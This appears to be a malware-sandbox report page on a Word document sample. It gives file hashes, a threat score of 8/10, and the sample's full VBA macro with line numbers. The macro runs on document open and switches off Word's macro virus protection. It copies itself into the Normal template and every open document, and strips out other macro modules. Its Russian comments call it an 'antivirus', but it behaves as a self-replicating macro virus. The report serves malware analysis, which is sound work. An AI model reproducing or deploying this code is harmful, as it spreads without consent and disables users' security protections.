aca681b60d551044b8aaef97550195ca_JaffaCakes118

Sharing

Copy URL

Twitter E-mail

General

Target

aca681b60d551044b8aaef97550195ca_JaffaCakes118
Size

29KB
MD5

aca681b60d551044b8aaef97550195ca
SHA1

081624afc6a708e54d6e1b2f52141f29ec93995b
SHA256

f7843aad065fc2bb6d9e590ca99e6068cd80127d2e77c3e96f7c2a1cd4403a4c
SHA512

b9178e50e3a849e138deaee700af7965c1dbe238072c4b4c7feed0891ea704d818fe500c981550ad347e8fa48ffd6add686030277eddefa554e5376e47a5ba14
SSDEEP

384:1iZzTv2+Gujh7PAtUC2KRBmWgTo4QlOx6m:0mO7Y2KfmWmo4Nv

Score

8^/10

macro

Malware Config

Signatures

Suspicious Office macro 1 IoCs

Office document equipped with macros.

macro

resource
sample

Files

aca681b60d551044b8aaef97550195ca_JaffaCakes118
.doc windows office2003

ThisDocument

1

Attribute VB_Name = "ThisDocument"

2

Attribute VB_Base = "1Normal.ThisDocument"

3

Attribute VB_Creatable = False

4

Attribute VB_PredeclaredId = True

5

Attribute VB_Exposed = True

6

Attribute VB_TemplateDerived = True

7

Attribute VB_Customizable = True

8

9

Private Sub Document_Open()

10

'Thus_001'

11

'Anti-Smyser'

12

'kill'

13

' Этот антивирус против вируса Anti-Smyser должен работать:)

14

On Error Resume Next

15

Application.Options.VirusProtection = False

16

'Операции записи антивируса

17

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1) <> "'kill'" Then

18

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" Then

19

NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _

20

.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _

21

.CodeModule.CountOfLines

22

End If

23

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then

24

NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _

25

.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _

26

.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _

27

.Item(1).CodeModule.CountOfLines)

28

End If

29

End If

30

If NormalTemplate.Saved = False Then NormalTemplate.Save

31

32

For k = 1 To Application.Documents.Count

33

If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1) <> "'kill'" Then

34

If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" Then

35

Application.Documents.Item(k).VBProject.VBComponents.Item(1) _

36

.CodeModule.DeleteLines 1, Application.Documents.Item(k) _

37

.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

38

End If

39

40

If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then

41

Application.Documents.Item(k).VBProject.VBComponents.Item(1) _

42

.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _

43

.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _

44

.VBComponents.Item(1).CodeModule.CountOfLines)

45

End If

46

End If

47

Next k

48

49

50

'Работа антивируса с основным шаблоном

51

For I = 1 To NormalTemplate.VBProject.VBComponents.Count

52

If NormalTemplate.VBProject.VBComponents.Item(I).Name = "MacroBle" Then ble = True Else ble = False

53

If NormalTemplate.VBProject.VBComponents.Item(I).Name = "TheSecond" Then se = True Else se = False

54

If NormalTemplate.VBProject.VBComponents.Item(I).Name = "groove" Then gro = True Else gro = False

55

Next I

56

If ble Then

57

NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents.Item("MacroBle")

58

End If

59

If se Then

60

NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents.Item("TheSecond")

61

End If

62

If gro Then

63

NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents.Item("groove")

64

End If

65

66

67

'Работа антивируса с открытыми документами

68

For h = 1 To Application.Documents.Count

69

Application.Documents.Item(h).Activate

70

For I = 1 To NormalTemplate.VBProject.VBComponents.Count

71

If ActiveDocument.VBProject.VBComponents.Item(I).Name = "MacroBle" Then blea = True Else blea = False

72

If ActiveDocument.VBProject.VBComponents.Item(I).Name = "TheSecond" Then sea = True Else sea = False

73

If ActiveDocument.VBProject.VBComponents.Item(I).Name = "groove" Then groa = True Else groa = False

74

Next I

75

If blea Then

76

ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents.Item("MacroBle")

77

End If

78

If sea Then

79

ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents.Item("TheSecond")

80

End If

81

If groa Then

82

ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents.Item("groove")

83

End If

84

Next h

85

End Sub

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

Sharing

General

Malware Config

Signatures

Files

ThisDocument

We care about your privacy.